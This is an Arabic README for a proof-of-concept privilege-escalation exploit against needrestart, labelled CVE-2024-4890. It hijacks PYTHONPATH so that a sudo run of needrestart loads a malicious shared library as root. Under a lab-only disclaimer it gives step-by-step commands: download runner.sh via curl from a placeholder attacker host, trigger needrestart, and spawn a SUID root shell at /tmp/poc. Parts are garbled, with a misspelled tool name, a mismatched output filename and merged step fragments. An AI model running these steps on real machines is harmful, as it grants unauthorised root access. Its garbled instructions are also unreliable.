
استغلال PoC لـ CVE-2024-4890: تصعيد صلاحيات Sudo عبر neecdrestart (>=3.8). للاستخدام الأخلاقي في المختبرات فقط. سكريبتات بلغة Python و C.
للاستخدام المخبري فقط في بيئات خاضعة للتحكم. لا تستغل على أنظمة الإنتاج دون إذن صريح. إثبات المفهوم هذا لأغراض تعليمية فقط. المؤلف غير مسؤول عن أي إساءة استخدام أو وصول غير مصرح به.
CVE-2024-4890 هي ثغرة أمنية خطيرة في needrestart (الإصدارات >= 3.8) تتيح تنفيذ تعليمات برمجية عشوائية بصلاحيات مرتفعة. ينبع العيب من المعالجة غير الآمنة لمتغيرات البيئة وملفات التهيئة أثناء فحص العمليات.
على وجه التحديد، عند تشغيل needrestart باستخدام sudo، فإنه يفحص عمليات بايثون الجارية، بما في ذلك متغير البيئة PYTHONPATH الخاص بها. يمكن للمهاجم اختطاف ذلك عن طريق تعيين PYTHONPATH مخصص يشير إلى دليل مسيطر عليه (مثل /tmp/attacker). داخل هذا الدليل، يتم وضع وحدة ضارة (__init__.so) في هيكل importlib مزيف. عندما يحاول needrestart استيرادها كجذر (لفحص المكتبات)، يتم تنفيذ الحمولة، مما يمنح وصولاً كجذر.
يوضح إثبات المفهوم هذا الاستغلال من خلال عملية بايثون خادعة، ومكتبة مشتركة ضارة (مجمعة من C)، ونص برمجي للتشغيل الآلي.
needrestart >= 3.8 ولديه صلاحيات sudo له.gcc (للتجميع)، curl، python3.ضع هذه الملفات داخل /tmp/attacker على الجهاز الهدف.
e.py: نص بايثون خادع (يعمل في حلقة، وينتظر نجاح الحمولة).runner.sh: نص برمجي للتشغيل الآلي لإعداد وتشغيل الخدعة.lib.c إلى __init__.so واستضافته:gcc -shared -fPIC -o init.so lib.c
python3 -m http.server 8000
الجهاز الهدف (الضحية):
/tmp/attacker.main.py.runner.sh قابلاً للتنفيذ:curl http://<ATTACKER_IP>:<PORT>/runner.sh -o /tmp/attacker/runner.sh
chmod +x /tmp/attacker/runner.sh
شغّل الإعداد في محطة طرفية واحدة:
cd /tmp/attacker && ./runner.sh
يقوم هذا بإنشاء الوحدة الضارة، النص الخادع، ويبدأ عملية بايثون المختطفة.
sudo /usr/sbin/needrestartيكتشف needrestart العملية الخادعة، ويقرأ PYTHONPATH، ويستورد الملف __init__.so الضار كجذر—منفذاً الحمولة.
runner.sh):/tmp/poc (صدفة جذر SUID تم إنشاؤها بواسطة الحمولة) ويطلق صدفة جذر:
sudo /tmp/poc -p
التنظيف: rm -rf /tmp/attacker /tmp/poc (وأزل إدخال sudoers إذا تمت إضافته).مؤشر النجاح: يظهر الأمر whoami الناتج root أو يظهر الأمر id الناتج uid=0(root).